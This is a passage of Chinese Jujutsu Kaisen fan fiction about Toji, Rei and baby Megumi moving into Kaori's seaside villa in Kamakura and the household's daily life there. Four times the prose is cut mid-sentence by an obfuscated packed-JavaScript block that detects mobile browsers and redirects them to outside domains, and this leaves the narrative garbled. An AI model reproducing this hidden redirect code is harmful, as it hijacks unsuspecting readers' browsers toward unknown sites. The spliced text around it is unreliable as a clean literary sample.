“不太远,不过不在镰仓,在藤泽。”夏梨指了个方向,“以前我老和同学翘课去江之岛玩,虽说江之岛也没那么好玩啦。” “听起来很有趣。” “是挺有趣的。反正你和甚尔也搬过来了,以后有空的时候就多出去看看吧。” 搬到华原家位于镰仓的别墅居住,这件事没怎么经过考虑就敲定了,毕竟两方的意愿都很强烈。 提出这个建议的夏梨小姐本人恋爱脑大爆发,想要天天和甚尔腻在一起,又有点疲于经常跑来小公寓见他,还觉得那点狭窄的地界伸展不开手。 况且,再过上一阵,就该是夏天了。热岛效应会把东京变成超大型蒸炉,还不如早早地逃到海边,为乘凉做好准备。 而甚尔接受同居建议的理由就简单多了,和热岛效应或是粘腻恋爱全无关系,纯粹是为了迎合大小姐的趣味。 再说了,不用掏钱付房租,也是好事一桩。 至于另一位会被搬家决定波及到的五条怜嘛……抱歉,小喽啰的意见一点也不重要,她现在只有随波逐流的份。 虽说是随波逐流,但也能飘到完美的洋流中。不管怎么说,位于镰仓的海景房别墅都比破旧小公寓好多了。 一拍即合。只花了一周时间,小公寓里的东西和住客就被统统转移到了挂着“华原家”门牌的阔气别墅里,所以五条怜这会儿才能有机会把脸贴在落地玻璃上,连连发出感叹。 “喜欢这里吗?”夏梨揉揉她的脑袋,“比原来的家大上了不少吧?” “嗯,喜欢!” 确实也很宽敞,虽然比起五条家还是逊色了一点——五条家是传统的和式大宅嘛。 看她高兴,夏梨也心情轻快,随口哼了段小调,轻轻推了下五条怜的肩膀:“快去挑你的房间吧,二楼和三楼都可以住哟。” “我可以自己挑呀?”五条怜有点不敢相信,“真的吗?” “当然啦。” 能有这种程度的自由,果然还是叫人难以置信。她明明都已经听明白了,却还是想要停留在原地,不知道什么时候迈出这一步才算合适。 “您和甚尔先……呃,哥哥。”意识到不对劲,她飞快改口,“你们俩的房间在哪儿呢?” 错误弥补得很快,可惜时机不佳。捧着纸箱的甚尔正慢悠悠顺着楼梯走上来。有那么两秒钟,他们的视线绝对撞在了一起,并且以五条怜率先心虚地移开目光作为收尾。 “在三楼,最大的那间。”对这段短暂的眼神博弈没有半分察觉,夏梨还沉浸在自己的小世界里呢,“所以你随便挑就好,选择还是很充足的。” “唔。好。” 咚咚咚咚,沉重的脚步声终于爬升到了楼梯的顶端。甚尔停下脚步,喊她过来帮忙。 “来搬东西!”他是这么说的。 看来选房间这桩好事得拖延一下了。 五条怜硬着头皮走过去,从他手中接过一小个纸袋,里头装得满满当当,其实根本不重,也完全用不着差遣她来帮忙。 既然如此,多此一举的用意也就很明显了——她得挨骂了。 “你啊。”走在无人的三楼,甚尔压低了声说,“老是在称谓上露出马脚,每次在夏梨面前说起我的时候都要卡壳一下。” 他咕哝着的话语倒没有太多责怪的意味,听着像是抱怨,大概也是因为夏梨正好是个神经大条的人,纵然五条怜口误过那么多回,她都没有发现过不对劲。 不用挨骂当然是好事一桩,可被如此直接地指出错误也挺丢人的,五条怜没脸抬头了。 “……对不起。” “比起道歉,不如想想有什么办法能让你避免露出破绽。”甚尔把纸箱塞进橱柜,看也不看就合拢了柜门,“你就不能直接喊我哥哥吗?” “唔——” 长久的沉吟是再好不过的答案。她忍不住抬起眼眸,扫了甚尔一眼,他脸上不高兴的表情让她决定赶紧收回目光。 “好吧。”甚尔叹气,“知道你不乐意了。” “对不起……因为真的很怪嘛。” 就算是在真正的、她的哥哥面前,她都不常直白地说出“哥哥”一词,又怎么能那么轻易地把这个头衔安插在完全和他没有半点血缘关系的甚尔的身上。 A计划还未启航就彻底宣告失败,得赶紧想个替代方案才行。 甚尔在空旷的三楼踱着步,走着走着又来到了通往天台的楼梯上。五条怜生怕显得自己不够积极,赶紧拿出小尾巴的做派紧紧跟上。 天台上一股海风的腥味,潮汐声也一下子袭来。她一次次把发丝捋到耳后,但潮湿的风会把她的努力全都打乱,就连甚尔的打火机也擦不出火苗了,香烟只好孤零零地夹在指尖,最后又无奈地放回到了烟盒里。 “你要不就直接用名字叫我吧。”他说。 不知道他的主意算不算是一个好点子,只知道五条怜满脸的不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14599889|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可思议,睁大了眼傻愣愣地瞪着他,被反问了一句“干嘛”,才像是勉强回过神来。 “您的意思是。”她需要在确认一下,“直接叫您‘甚尔’就好,不必加上‘先生’了?” “对。” “哦……真的可以这么称呼您,对吧?” “嗯。”甚尔不耐烦地点着头,“你在疑惑什么呀?” “我担心自己听错了。”她坦诚地说,“也担心您会突然改变心意。” 甚尔好无奈:“我像是这种三心二意的人吗?” 像呀。五条怜心想。 当然了,这番念头是绝对不能轻易说出口的。 她闭拢了嘴,配合地点点头。甚尔也满意了,一边在手里抛着打火机当玩具,一边磨磨蹭蹭地走下楼。五条怜跟在后头,却忍不住胡思乱想。 胡思乱想的内容包括但不限于,她觉得甚尔走到天台上讨论称呼问题,说不定就是为了在她不配合的时候揪着她的领子用“不答应的话我就把你丢下楼”作为要挟——虽然甚尔还没对他做出过这种事,但他明显是能够做出这种事的人。 五条怜被自己的无厘头幻想吓了一跳,连带着眼前甚尔的壮硕背影都变得更加吓人了。下楼途中他还回头看了它一眼,吓得她差点一脚踩空。 “干嘛?”甚尔觉得她好怪,“怎么一惊一乍的。” “没……没什么啦!嘿嘿嘿。” 她换上一副谄媚笑脸,五官都快揉成一团了,这副怪模样让他只瞧上一眼就赶紧收回了目光。 怪小孩。他暗戳戳想。 一路走回到二楼,夏梨还在指挥着搬家小哥帮忙放东西,想把一切带有自我色彩的东西放进这个她很久没来过的家里。 昂贵且常喝的洋酒摆进玻璃柜,又是好几把网球拍像花束一样插进筒状的收纳篮里,闲来无事从欧洲各地淘来的小摆件也压迫放在醒目位置,家人的合照摆在桌面正当中,是笑眯眯的十几岁少女和她的父亲站在网球场边。想起来时还听她说过,这房子是父亲送她的十三岁礼物,那么把父亲的合照摆在最显眼的位置,也就显得很正常了。 看到甚尔过来,她的心思一下子就从装扮家里转回到了他的身上,一下子扑进他怀里,蹭蹭他的肩膀,踮起脚来想要亲他。 “你们是不是去看三楼的房间了?” 甚尔笑眯眯:“对。” 其实只是去讨论了很重要的大事。 真相当然是不能直白地说出来的,还好敷衍的谎话足够搪塞夏梨。她歪过身子,问五条怜,是不是决定好选哪间房当卧室了。 “嗯——是呢!” 五条怜硬着头皮说谎,真不好意思坦白说自己还完全不了解这个家的格局。 幸好,这并不打紧。借着电视机屏幕映出的这个家的一角倒影,还有浮在玻璃酒瓶上的浅浅影子,足够将未曾涉足过的空间拼凑出来了。五条怜做出了决定。 “我想选楼梯下面的储物间当卧室。” “看。”甚尔凑近夏梨身边,玩笑似的指着五条怜,“这里有个没品的小孩。” 29.海边夜话 五条怜实在没想到,有朝一日自己会被打上“没品”的标签。相较之下,又被无情地称呼为小屁孩都显得不像那么一回事了。 不服气肯定是有的,想要反驳几句的倔强心理肯定也存在,可惜没一个能实现的,反倒是羞耻感大爆发。害得耳朵一下子好烫。 “哈利波特就住在楼梯间呀!”她试图替自己辩解。 同样是住在楼梯间,哈利波特可是奇幻小说的经典主角呢,总不能他也是没品的小孩吧——虽说人家压根不是自愿选择楼梯间当卧室的就是了。 本就无力的辩解落到甚尔耳朵里,瞬间变成更加没有说服力了。他轻哼一声。 “选楼梯间当卧室就是没品。” 其实他这种闹脾气似的主张方式也挺没品的。 这点小小辩论让两人的关系变得稍稍有一点僵硬,但还不至于到剑拔弩张的程度,反而有点像是互不让步的闹脾气,也难怪夏梨能毫不顾忌地大笑出声,瞬间打破了僵持的局面。 “哎呀,你别老嘲笑自己的妹妹嘛。”她拦着甚尔的手臂,打了一个不算完美的圆场,“人家说不定只是很想成为魔法师而已。” 很明显,住在楼梯间并不是成为魔法师的必经之路,但也绝不是什么无法接受的无理请求。既然五条怜喜欢,夏梨当然也就答应了。 于是,通往三楼下方的三角形空间,就此成为了五条怜的栖息地。 不得不说,镰仓海边这栋豪华的别墅,确实要比女贞路4号的小屋好得多了,楼梯间的面积也算得上宽敞,尽管摆一张床进来就足够占满三面墙壁了。关上门,更加像是住在高高的盒子里,一眼望不到天。她很喜欢这种逼仄感,局限的空间有种莫名的安全感。 更重要的是,睡在这里,只要推开门,就能看到那面正对大海的落地窗了。 五条怜总是半夜醒来,推开房间门去看海,偶尔也会在午后日头正高时旁观冲浪客征服大海。她窝在对着窗的那个小沙发上,把自己缩成一团,或者是抱着禅院惠一起陪她,也不开灯,只悄无声息的看着。 夜晚的大海,存在感会降低到近乎为零,和黑夜融为一体,潮汐也变成侵蚀沙滩的黑色空洞。 偶尔,在满月的夜里,月光能够照亮海面,把海水皱起的每一层柔软棱角都映出来。但这也是很少见的情况。 对着黑夜的大海看上一会儿,消散的睡意就会回来了。她会回到床上再睡一会儿,等到天亮前再度自然醒来,这时候就能见到日出了,朝日将海面染成清透的橘黄色,富士山的雪顶也会从地平线的边缘缓缓浮现。她想起自己还从来没有近距离看过富士山呢,总觉得以后说不定也不会有机会了。 “小怜很喜欢大海吗?” 身后响起哈欠连天。五条怜回头,看到夏梨从楼梯上走下来。 “老是看到你坐在这个位置望着窗外,这儿都快变成你的专属宝座了。” 夏梨说着玩笑话,趿着拖鞋,走得慢吞吞,每一步都带着啪嗒啪嗒响,挤在五条怜身边,和她一起坐进这个单人沙发里。五条怜不自觉地坐正了身子,一想到自己刚才懒懒散散的坐姿,多少有点不好意思。 “嗯。”她点点头,“我喜欢大海。” ”因为大海宽阔包容又伟大?” “唔——是吧。” 五条怜笨拙一笑。 其实夏梨说的那些词,她一个也没有想到,只是羞于否定对方,所以才给出了这种模棱两可般的话语。 “以前,阿……哥哥告诉我,所有生命都是从海洋里诞生的。我很喜欢这句话。” “甚尔还说过这种话呀?没想到他以前是这种风格。” “是、是呢……” 真不好意思,她说的其实不是甚尔来着。 还好还好,这点小小破绽并未完全暴露,毕竟夏梨还沉浸在尚未完全消散的睡意中,又一连打了好几个哈欠。五条怜趁机扯开话题,问她怎么也醒得这么早。 “今天晚上有高中同学会,一想到这件事就睡不着了。” “哦——”五条怜像模像样地点点头,其实完全不理解,“社交的压力很大吗?” “倒不是社交的压力啦。好多年没见面了,能和高中同学聚一聚挺好的,但每次会聊到的话题都好无聊啊。” 夏梨伸手搂住她,指尖轻轻戳着她的脸,任性地搓了好一顿,八成是把她当成了解压玩具吧。 耐心地等待着夏梨的这点调皮全都发泄完了,大概是没有等到五条怜紧接着而来的疑问,她只好自顾自地说下去了。 “反正嘛,每次都会必定说到工作和家庭的话题。大家要么创业去了,要么接管家里的生意,再不济也是寿退社,相比之下,什么都不干的我,多格格不入呀。” “是嘛。”五条怜有点意外,“原来夏梨小姐您也是无业游……呃,处在无业状态?” 还好改口得够快,否则绝对会闯下大祸的。 说真的,最近她怎么老是口不择言呢. 五条怜懊恼地想着,暗戳戳在心里发誓,接下来绝对要把脱口而出的话语先在脑海中滚上三遍才准说出来! 刚才那番话里唯一没问题的,大概就是那个“也”字了——毕竟禅院甚尔这家伙确实是个无业游民嘛,这一点早就是毋庸置疑的事实。 夏梨似乎是没有听出她差点说出口的贬义词汇。也可能说意识到了,只是不想同她计较。总之无论如何,她都没有表现出半点不满,自顾自继续抱怨,难得的一口气和五条怜说了好多话。 “我其实不喜欢工作啦,而且家里的生意没有我帮忙也一样能够正常运转,毕竟有哥哥负责着嘛。我以前是打网球的,本来想着用漂亮的网球成绩去考索菲亚的,结果家里人好不满意,说华原家的孩子都是庆应毕业的,你也一直从庆应的幼儿园一直读到了高中,事到如今才说要去别的大学读书,他们觉得很不高兴。所以嘛,就继续待在庆应了。” 索菲亚……庆应……是学校的名字吗? 五条怜茫然地搓了搓指尖,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14607659|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然有种格格不入的既视感。 被甚尔称作是“笨女人”的、但一向待她很亲昵的夏梨姐姐,此刻变成了一个遥远又高傲的存在,尽管她搂着自己,为什么还是觉得很疏离呢? 五条怜不确定是不是该把疑问说出口,不过夏梨似乎早就已经发现了,笑眯眯问她是不是没明白自己在说什么。有点莫名的羞耻感,她只好点点头。 “是的……索菲亚是大学的名字吗?” “对,Sophia University。”夏梨说话时带着上扬的美式口音,“就是上智大学啦,很有名呢,小怜没有听说过吗?但我还是喜欢叫它索菲亚。知道吗,上智的校园里有间很漂亮的教堂哟。” “哦——” 为什么大学里会有教堂呢?这也是五条怜想不明白的。 这点小小的疑问,夏梨显然没看出来,自顾自地说下去了:“要是小怜以后想读大学,可以考虑一下索菲亚。我还是很喜欢这间学校的。” “大学对我来说……有点遥远。”是起码五年以后的事情了。她连明天会怎样都想不到,五年之后的事情更加无法规划了。 “想要考大学的话,现在努力正来得及。”夏梨一本正经,很认真地对她说,“别再惦记着小惠的父亲啦,用两年时间肯定能补上落下的功课的!” 啊,是了。在她的眼里,自己今年十六岁。 说出的话没办法挽回,既定的印象肯定也无法轻易扭转。五条怜硬着头皮点点头,磨蹭地应了一声“嗯”,勉强把这个话题应付过去了。 于是夏梨也自顾自说下去:“大概就是因为没能如愿去索菲亚吧,上了大学之后我就对网球不怎么感兴趣了,也没能就此成为职业运动员,家里人又不催我找工作,所以就变成现在这样了。不过,我的水平好像也不到职业的程度哦?” 她咧嘴一笑,满不在意似的抽出旁边的一把网球拍,动手拆开缠得很紧的绑带,一圈又一圈黏糊的白色绑带盘绕着堆到地上。 “说不定,我一直都不喜欢网球。想要待在好学校需要一技之长,我不擅长读书,所以家里人送我去学网球——这可比别的需要天赋的运动简单多了。小怜玩过网球吗?” “没有。” “那我以后教你吧。” 啪嗒啪嗒。最后一圈绑带也被拆下,露出光秃秃的把杆,看起来实在不精致。五条怜本以为她会换上新的绑带,没想到拆完之后她什么也没干,把网球拍往边上随手一丢,又开始叹气了。 “我对自己现在的状态是完全无所谓啦,又自由又开心,不是吗?但同龄人就爱对我指手画脚的。他们总觉得自己走上了和我不一样的道路,所以比我更厉害一点,拥有了可以对我指手画脚评头论足的资格。真讨厌。”她做了个鬼脸,“还会老是说我挑男人的眼光很烂,真是的!这次我要带上甚尔一起过去,让他们没办法再嘲弄我的眼光!” “啊哈哈是吗……” 带上甚尔这种人反而更加证明你的眼光很烂吧! 30.没品 当“甚尔”和“眼光”这两个词出现在同一时间,足够引起一场小小的化学反应,在五条怜的大脑中炸出了一堆记忆。 比如像是一整个冬天都懒懒散散窝在被炉里,连门都不愿意开的寄居蟹甚尔。 又比如清水煮乌冬面也能毫无怨言地吃下去的如苦行僧一样的甚尔。 再比如只偶尔坐在婴儿床边不耐烦地哄哄禅院惠的状似黑熊的甚尔。 除此之外还有类似于弄坏洗衣机差点被赶出家门、好心安慰结果被反说一句“现在不是比较谁更痛苦的时候”,种种之类不愉快的碎片小事。 也就是说,她能想到的,全都是一堆烂事。 而这样的甚尔居然能够把夏梨钓得心甘情愿,真不知道平日里究竟下了怎样的苦工。 五条怜努力撇开脑海中不停放映着的糟糕回忆,心情相当复杂。 说实在的,她好想坦白说甚尔压根不是什么好男人,也许夏梨能够因此收一收她的恋爱脑。 但身为关系良好的兄妹俩(至少在夏梨面前他们是这样的身份),趁着本人不在就说对方的坏话,未免太鸡贼了,她的良心过意不去。 更何况,照烧汁拌乌冬面的味道也悄悄地回到舌尖了,过分寡淡的滋味足以让剩下的那点理智也疯狂动摇。她艰难的点点头,很费劲地挤出了一句“是呢是呢”,话语都在心虚地发抖,还好夏梨一点都没有听出来。 吐露完了这点小小烦恼,夏梨显然觉得畅快了不少,搂着完全没能在这场抱怨中起到半点左右的五条怜,低头蹭了蹭她的脸,像在爱抚一只小猫。 “哎呀,有妹妹果然好呢,什么都能说。”她感慨似的说,“我要是也能有妹妹就好了,可惜在家里我才是妹妹。” “唔……”倒是和五条怜自己的身份一样了呢,“我觉得能有哥哥就挺好的。” 夏梨甩甩手:“因为小怜你和甚尔关系好嘛。” 真不好意思承认,五条怜刚才说的哥哥可不是甚尔。 “我和哥哥差了十几岁,成家立业之后,他更觉得我是小孩子了,根本聊不到一块去。”她嫌弃地努了努嘴,“他对我的感情就像爸爸对我的疼爱一样。虽然我是很喜欢爸爸没错啦,但再来一个可就太麻烦了,你说是不是?” “是呢。” 是吧,反正五条怜也不知道,毕竟她连半个父亲都没拥有过。 她倏地不知道该说点什么了,夏梨也没有再吱声——在一吐为快之后,睡意就赶上来了,她现在只想去补觉,毕竟她可不能睡眼惺忪地出现在同学聚会上。 夏梨拍了拍五条怜的肩膀,轻快的脚步声噔噔噔地消失在了楼上,五条怜没有回头去看,但完全可以想象到她披着的丝绸晨袍会甩动出怎样优美的柔软曲线。 天彻底亮起,五条怜还是没有睡意,整个人陷在沙发里,不愿意动弹,好像也动弹不了,明明海绵沙发并不是什么可怕的流沙。 拆散的网球拍还在地上,她拼不回来,也不知道该做点什么才好,迟钝地坐了很久,久到窗外的冲浪客都开始征服大海了,她才慢吞吞地起身,去应付马上就要开始哭闹起来的禅院惠。 以后的日子也要一直这样了吗?只在某个短暂的瞬间她才再次思考起未来。 没有思索太久,她很快就中断了思维。 未来太远了,她果然还是别去多想为好。 一直睡到临近中午,夏梨才急匆匆下楼。预约了美发沙龙,她快要迟到了。 “小怜也一起去做头发吧?”弓身,她穿上细绑带的高跟鞋,笑着挑起五条怜耳边的一缕发丝,“你的头发乱糟糟的。” “是、是吗?” 五条怜不自在地笑了笑,想要用手抚平耳边的碎发,却怎么也抬不起手。 离开家时短短的妹妹头,在一整个冬天与大半个春日的熏陶下,已经长了不少,尤其是刘海,原本还只能浅浅地盖住眉毛,如今居然已经戳到颧骨上了,发梢也触碰着肩膀,不像夏梨那精致且富有光泽的华丽卷发,她的脑袋一看就是好久没有打理过的模样。 话虽如此,她的头发本身倒不算多么凌乱,只是没有那么那么柔顺而已,大概是发质本身的原因,即便每天都腾出时间来好好梳理,也总还是会有几根发丝翘起来。仔细想想,五条悟的头发也是有些翘的,那么她拥有一头不齐整的发丝,也没什么奇怪的了。 五条怜把发丝拢到脑后,想要藏进衬衫里,毫不意外地失败了,于是她只好继续保持着笨拙的笑意。 “不用了。”她不自觉低下头,“现在这样就挺好的。” “是吗?好吧。”夏梨看起来不太能苟同她的说法,不过也没提出更多异议了,拍拍她的肩膀就准备出门了,“待会儿麻烦提醒甚尔,记得及时来沙龙接我。你在家小心一点哟。” “嗯,我明白了。” “如果一个人想出去玩也没关系的。虽然已经当妈妈了,但人总要享受独处的时间嘛!” 夏梨说得好豁达,可惜让人听得好别扭,更不知道说点什么才好,五条怜感觉自己的愚笨的笑容都要添上更多的尴尬意味了。 就这么僵硬地笑上一分钟,她就可以收回嘴角的弧度了。夏梨已经匆匆跑出门,开着保时捷消失在海滨小路的尽头。五条怜立刻地变回一如既往的平淡面孔,速度之快,让她莫名觉得自己像是电影里变脸如翻书的邪恶反派,罪恶感也要随之冒出头来了。 ……要不还是,再维持一会儿微笑好了? 不不不,对着没人的空气笑,那多怪呀! 她在心里进行着没什么意义的斗争,到最后也没能做出一个准确的决定,只好灰溜溜钻回客厅,一眼就看到了在地上快乐爬行的小海胆。 真不知道禅院惠是怎么来到地上的,明明刚才他还安睡在低矮的婴儿车里呢。但与地面的亲密接触显然是解放了他作为灵长类生物的天性,小海胆又爬又滚,咯咯地笑着,欢快到没有边际。 亲眼见证这一幕的五条怜只感觉自己的头发也要竖成海胆模样了! 赶紧冲过去,先把小海胆拾起来,先浑身上下打量几圈。很好很好,毫发无伤,小海胆本人反而笑个不停,以为被举高高的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617534|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新的游戏,更加痛快地晃悠着四肢,过分有劲的小身子差点让她抱不住,费了好一番劲才把他安回婴儿车里。 人总要享受独处的时间……这话说起来挺轻巧,可她还背负着照料小屁孩的职责呢,要是一不当心搞出什么乱子,她绝对会被连夜请出家门的——尽管她现在的人物设定是少女妈妈。 “还是你最幸福了,不是吗?无忧无虑的,什么都不用考虑。” 五条怜把意图从婴儿车里逃出来的小海胆捞回去,安静不了几秒钟,他又伸出肥硕的小手臂,想要出去探险了。没办法,那就再捞一次吧。 “要是你能快点长大就好了,这样你也能尝到人生的苦涩了,对吧?” 这话说出口了,五条怜才觉得自己好像有点过分——其实“好像”一次大可以删去,她确实说得过分了。恍惚了一下,小海胆又要翻出去了,她不再阻拦,抱着他坐到宽敞的沙发上。 “我什么也没说,你什么也没听到,好吗?”她告诉禅院惠,也像是在对自己说,“所以我说的什么话都不会实现。你就在沙发上玩吧,我会看着你的。” 小海胆发出咿呀咿呀的轻快叫声。他八成是没有听懂五条怜的话,只是在为了尽情翻滚而高兴着呢。不过这也无妨。 肆意地玩上一个钟头,禅院惠的电量就该耗尽了。这时候便能把他抱回床上,让他好好地睡上一会儿。忽然想起今天还没见到甚尔,难道他还在睡觉吗? 五条怜瞄了眼时钟。 这个时间,对于彻夜的睡眠来说,貌似有些太长了,但勉强也能算在合理的范围之中。夏梨要她提醒甚尔去接自己,却也没说具体是什么时间。她稍稍纠结了三秒钟,蹑手蹑脚地踏上台阶。二楼的卧室门虚掩着,只要走近一点,就能从门缝里看到睡得奇形怪状的禅院甚尔了。 以前在被炉里睡觉的时候,他的睡姿还能算得上能够辨认。自从改为在正常的席梦思上栖息之后,他的睡眠形态就变得相当诡异了。五条怜始终想不明白这究竟是怎么回事。 默默在门头站了一会儿,顺便纠结了一下要不要主动叫醒对方——或称之为“要不要主动接受起床气的狂风暴雨”更合适一点。 在拿定主意之前,甚尔已经被她一动不动的目光给戳醒了。 “是你啊……吓到我了。”嘴上这么说着,但他的语气里没有半点惊慌感,反而很沉着地抽了个靠枕垫在脑下,让他现在的姿势看起来更加奇怪了,“我说怎么会有人在梦里也盯着我,如果是你在看我的话就不意外了。” 这句话算是夸奖吗,说她眼力很尖锐很好的意思?五条怜不知道。 不过,她的得意心好像要随之膨胀起来了。她赶紧摸摸脸,试图把多余的情绪统统摁下去。 “已经很晚了,您还在睡觉吗?” “嗯。”他恹恹地应了一声,话音里充满了困倦的气泡,“知道吗,当小白脸可是很累人的苦差事。” “是嘛……” 五条怜当然不知道,她甚至有点不确信,可惜没有立场提出质问——没办法,她又没当过小白脸! 31.人模人样 五条怜没当过小白脸,她自觉未来也绝不会涉足到这个行业之中(前提是“小白脸”真的能够被当作一份正经的职业)。所以,对于小白脸的认知,就算是少得可怜,似乎也不是什么坏事。 话虽如此,她也绝不会因此而对深耕于此的甚尔抱有什么鄙夷的情绪——尤其是再次想到清水乌冬面的滋味,她仅剩的那么一丁点怨念也彻彻底底地消失无踪了。 她不吱声了,一本正经地点点头,顺便想起了自己上楼来的目的,赶在甚尔的脑袋懒洋洋地倒回到被子上之前,匆忙叫住了他,飞快地把夏梨地叮嘱重新转述了一遍,于是他的脑袋也灰溜溜地重新抬起来了。 “是了,是还有同学会这么桩事情要干来着。”他撇撇嘴,有点不耐烦似的。 但比起心不甘情不愿,此刻他的做派,大概率是懒惰感在作祟吧。 他磨磨蹭蹭站起来,动作像是被放慢了一百倍:“知道了,我马上就干。多谢你的提醒。” 哎呀,被感谢了? 五条怜眨眨眼,心脏也很轻快地鼓动了一下。 她也不知道此刻填满心口的情绪到底是怎么回事,可能是一点点的高兴,还有很多的难以置信,毕竟一直以来,甚尔都还没有对她说出过感谢的话语呢。 除他以外,似乎也不常从别人那儿听到过。 这句稀罕的话语绝对把她冲得晕晕乎乎了。她都不知道自己是怎么下楼的了,可能是飘飘忽忽地晃下楼的,也可能是轻快地沿着台阶蹦跶下去的。总之,她又回到那片面朝大海的落地玻璃窗了。 隔着厚厚的一层隔音玻璃,她还是听到了大海的声音,一波接着一波的,好久都没有停歇。五条怜坐在沙发上,一手搭在小海胆的背上,像是在守着他不要掉下去,实际上心思并没有完全放在他的身上。 既然如此,其他的心思究竟去哪儿了呢?她自己也不知道。 不管怎么说,隔音玻璃终归会起到本质作用,海浪的声音也会一点一点远去。五条怜把禅院惠抱到膝盖上,任由他尽情地挥动四肢,尽情地在空气里游泳。甚尔也终于下楼了,只用单手很笨拙地打上领带。她盯着看了一小会儿,觉得自己的目光好像有点失礼,可收回视线后没过多久,她又忍不住偷偷打量他了。 可不是因为她好奇心泛滥,也绝非她没有礼貌,非要深究原因,肯定是因为甚尔穿了一身西服。 没错,西服。 禅院甚尔,和西服。 这两个怎么想都不着调的字眼,居然能够拼凑在一起,真叫人惊讶不已。说实在的,这大概是他久违一次的难得正经打扮吧。 其实“久违”一词用得也不贴切,因为五条怜压根就没看他穿得这么正式过,也难怪她忍不住盯了好久,久到甚尔都没办法不在意了。他忽地抬起手,在她眼前打了几个响指,捏出一阵微弱的风,害五条怜好想眯起眼睛。 “眼睛直勾勾的,在盯着什么?”他问。 五条怜后退一小步,躲开这股恼人的微风:“我在看您。” “是嘛。”甚尔扬起嘴角,怎么看都是略带几分得意的笑,“感觉怎么样?” “嗯——” 她陷入了长久的沉默,久到甚尔都快没耐心听她想说什么了。 还好还好,在甚尔拍拍屁股跑路的几秒钟前,悄悄握紧拳头的五条怜总算在心里完成了全部的措辞工作,顺便下定了决心。 “我觉得甚尔先生您今天看起来人模人样的!” 她说得一本正经,甚尔听得满脸无奈。 “人模人样算是什么夸奖嘛。”他举起拳头,落在五条怜的脑袋上,轻轻锤了一下,“也不说点好听的话。” “唔。”她可怜兮兮地捂着脑袋,“您想听什么?” “现在你什么都别说就是我最想听的了。” “哦……” 五条怜磨蹭着点头。真搞不懂他在想什么。 抱起小海胆,一路送甚尔到玄关,虽然这几步路没有什么实质性的作用,但目送出门的仪式感还是不可或缺的,还能顺便发现他的领带打得又歪又难看,只可惜自己在打领带这件事上丝毫没有造诣,也就不好意思指出这点小小的问题了。 “再见,甚尔先生。路上小心。” 腾不出手,她在看不见的地方伸出手指挥了挥,权当是道别时的挥手了。而甚尔也只“嗯”了一声,转头走了,看来对这点道别不甚关心。 才走了几步,门都还没阖上,他忽然折返回来,盯着被五条怜抱在怀里的小海胆看了一小会,伸手捏了捏他的脸。 “你这小子,倒是也和我说句拜拜啊。” 他故意用一种气急败坏的语气说,真不知道是在闹什么怨气。 小海胆耷拉着手臂,发出“咕呜”一声,怎么听都带着沮丧。五条怜赶紧侧过身去,硬是把他们俩分开来了。 “小惠还不会说话呢,没办法和您道别!”她替小海胆辩解,“您都快迟到了,就别再计较这点小事了,好吗?” 甚尔不说话了,只撇撇嘴,看起来多少还是有那么一点不满。 其实他一点都没有被劝说到,但确实也没办法否认五条怜说得有错。 要是再耽搁下去,一旦在夏梨那儿迟到了,大小姐绝对会缠着他发脾气或者猛撒娇。这样的事件展开可不是他想要的。 甚尔果断丢弃了对于小海胆的执念,毫不犹豫转头就走,别说是回头了,连一秒钟的道别都没有说,五条怜都没反应过来,他便倏地消失在了门外,真是有够冷漠的。 “你爸爸是个冷漠的家伙呢。”她把怀里的小海胆往上提了提,半开玩笑地说,“对吧?……咦?” 不知不觉间,禅院惠已然涨红了脸,本就圆润的脸颊涨得更加圆,嘴巴也抿成了一道几乎看不见的细线。 她知道这是怎么回事——这是一场大哭即将到来的预兆。 光是想想接下来将要面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14630853|152678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对的音量折磨,五条怜也快哭出来了。 明明刚才还好好的,怎么突然就要掉眼泪了呢?不用想,肯定是甚尔刚才的捏脸(除此之外也没有别的理由了)害的! 事到如今再把罪魁祸首揪回来赎罪,显然是不可能的事情了。况且他根本不擅长哄孩子。赶在小海胆彻底炸开之前,五条怜必须开始行动了。 